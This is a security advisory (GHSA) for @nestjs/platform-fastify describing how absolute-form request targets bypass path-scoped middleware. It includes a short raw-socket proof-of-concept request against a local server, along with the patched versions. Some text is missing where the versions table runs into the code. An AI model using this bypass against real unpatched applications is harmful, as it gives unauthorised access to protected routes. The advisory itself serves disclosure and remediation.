GHSA-9c5c-9qcx-q35q

@nestjs/platform-fastify: Path-scoped middleware bypass via absolute-form request targets

Published

2026-09-30

Modified

2026-09-30

Sources

github-advisory

Summary

| Field | Value | | --- | --- | | Ecosystem | npm | | Package | `@nestjs/platform-fastify` | | Affected versions | `>= 12.0.0, res.end('blocked by auth middleware')) .forRoutes({ path: 'users', method: RequestMethod.GET }); } } ``` `supertest` and `light-my-request` always emit origin-form targets, so the request has to be written to the socket: ```js const { connect } = require('node:net'); const socket = connect(3000, '127.0.0.1', () => { socket.write( 'GET http://127.0.0.1:3000/users HTTP/1.1\r\n' + 'Host: 127.0.0.1:3000\r\n' + 'Connection: close\r\n\r\n', ); }); socket.pipe(process.stdout); ``` Observed on an affected version: `protected data` — the middleware did not run. Expected, and observed on a patched version: `blocked by auth middleware`. ### Patches Fixed in **12.0.2** and **11.2.4**. Upgrading to **12.0.3** or **11.2.5** is recommended. - The bundled `@fastify/middie` fork was removed and the package now depends on `@fastify/[email protected]`, which resolves absolute-form targets before matching. - The adapter resolves absolute-form targets in its own route check, mirroring `find-my-way`. - Deprecate

Affected packages

Remediation: Upgrade to 11.2.4 or later.

References

• https://github.com/advisories/GHSA-9c5c-9qcx-q35q